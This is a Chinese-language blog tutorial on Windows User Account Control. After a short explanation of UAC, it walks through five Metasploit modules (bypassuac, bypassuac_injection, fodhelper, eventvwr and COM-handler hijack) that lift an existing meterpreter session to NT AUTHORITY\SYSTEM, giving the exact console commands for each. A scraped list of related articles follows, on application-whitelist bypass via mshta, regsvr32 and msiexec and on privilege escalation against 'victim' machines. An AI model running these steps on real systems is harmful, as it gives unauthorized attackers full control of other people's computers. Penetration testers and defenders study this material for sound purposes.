一、用户帐户控制(UAC)简介

在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。

1.什么是用户帐户控制(UAC)?

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。

换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

2.UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

一些没有管理员权限无法完成的操作:

  • 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
  • 加载设备驱动程序
  • DLL注入
  • 修改系统时间(时钟)
  • 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
  • 修改受保护的目录(例如Windows文件夹,Program Files)
  • 计划任务(例如,以管理员权限自动启动)

UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。

https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/

二、绕过UAC的方法

首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。

getsystem
getuid

如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。

1.方法一:Windows权限升级绕过UAC保护

此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

2.方法二:Windows权限提升绕过UAC保护(内存注入)

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。

getsystem
getuid

您将再次获得NT AUTHORITY\SYSTEM 权限。

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)

此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
 

从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。

getsystem
getuid

最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。

 
 
 
 
 

使用Metasploit绕过UAC的多种方法的更多相关文章

  1. metasploit下Windows的多种提权方法

    metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...

  2. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  3. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  4. 使用msiexec.exe绕过应用程序白名单(多种方法)

    0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...

  5. metasploit下Windows下多种提权方式

    前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以用来删除文件,查看私有信息,或者安装特殊程序,比如病 ...

  6. 绕过UAC以管理员身份启动程序

    写这篇文章主要是看到了:http://www.7tutorials.com/use-task-scheduler-launch-programs-without-uac-prompts文章中所用到的方 ...

  7. win7 UAC bypass(微软已经给予了三组组件绕过UAC启动的特权)

    fireworm同学的翻译: 原文在http://www.pretentiousname.com/misc/win7_uac_whitelist2.html我只翻译了其中关于原理的一小部分,有兴趣的可 ...

  8. CSS导航菜单水平居中的多种方法

    CSS导航菜单水平居中的多种方法 在网页设计中,水平导航菜单使用是十分广泛的,在CSS样式中,我们一般会用Float元素或是「display:inline-block」来解决.而今天主要讲解如何让未知 ...

  9. 用 Python 排序数据的多种方法

    用 Python 排序数据的多种方法 目录 [Python HOWTOs系列]排序 Python 列表有内置就地排序的方法 list.sort(),此外还有一个内置的 sorted() 函数将一个可迭 ...

随机推荐

  1. 20155202张旭 Exp7 网络欺诈技术防范

    20155202张旭 Exp7 网络欺诈技术防范 基础问题回答 通常在什么场景下容易受到DNS spoof攻击? 在同一局域网下比较容易受到DNS spoof攻击,攻击者可以冒充域名服务器,来发送伪造 ...

  2. 20155334 《网络攻防》 Exp7 网络欺诈防范

    20155334 <网络攻防> Exp7 网络欺诈防范 一.基础问题回答 通常在什么场景下容易受到DNS spoof攻击 同一局域网下,以及各种公共网络. 在日常生活工作中如何防范以上两攻 ...

  3. Android开发——RecyclerView特性以及基本使用方法(二)

    0.  前言 随着Android的发展,虽然ListView依旧重要,但RecyclerView确实越来越多的被大家使用.但显然并不能说RecyclerView就一定优于ListView,而是应该根据 ...

  4. 解决debug到jdk源码时不能查看变量值的问题

    目录 如何跟踪jdk源码 1. 编译源码 2. 关联源码 3. 大功告成 如何跟踪jdk源码 看到这个标题大概大家都会在心里想谁还跟踪个源码呀,在eclipse中打个断点,以debug的方式运行,然后 ...

  5. python 回溯法 子集树模板 系列 —— 14、最长公共子序列(LCS)

    问题 输入 第1行:字符串A 第2行:字符串B (A,B的长度 <= 1000) 输出 输出最长的子序列,如果有多个,随意输出1个. 输入示例 belong cnblogs 输出示例 blog ...

  6. Centos7下python3安装ipython

    一.通过压缩包安装ipython 1.下载ipython安装包 [root@localhost ~]# wget https://pypi.python.org/packages/79/63/b671 ...

  7. 后端自动构建前端css和js

    引子: 别的复杂前端开发技术不会,用得多的还是手写代码,手动处理. 3年前手写合并压缩js和css文件的asp脚本代码目前还能正常运行,也就没有多大使用别的技术的动力. 直到近期被一个问题纠结着,今天 ...

  8. WinForm 随手记

    从今天开始咱们正式进入WinForm开发模式 首先很官方的介绍下什么是winform:客户端应用程序:C/S 这就是winform 有什么特别特别重要的特点呢:可以操作用户电脑上的文件 举个简单的例子 ...

  9. 《Effective Java》学习笔记 —— 枚举、注解与方法

    Java的枚举.注解与方法... 第30条 用枚举代替int常量 第31条 用实例域代替序数 可以考虑定义一个final int 代替枚举中的 ordinal() 方法. 第32条 用EnumSet代 ...

  10. 《深入浅出NodeJS》mindmap

    接触NodeJS有快两年了,但因为和我的工作内容关系不大,所以一直没有系统的学习.最近终于有空能系统地了解学习一下这门技术,于是买了一本朴灵老师的<深入浅出NodeJS>仔细研读.这本书内 ...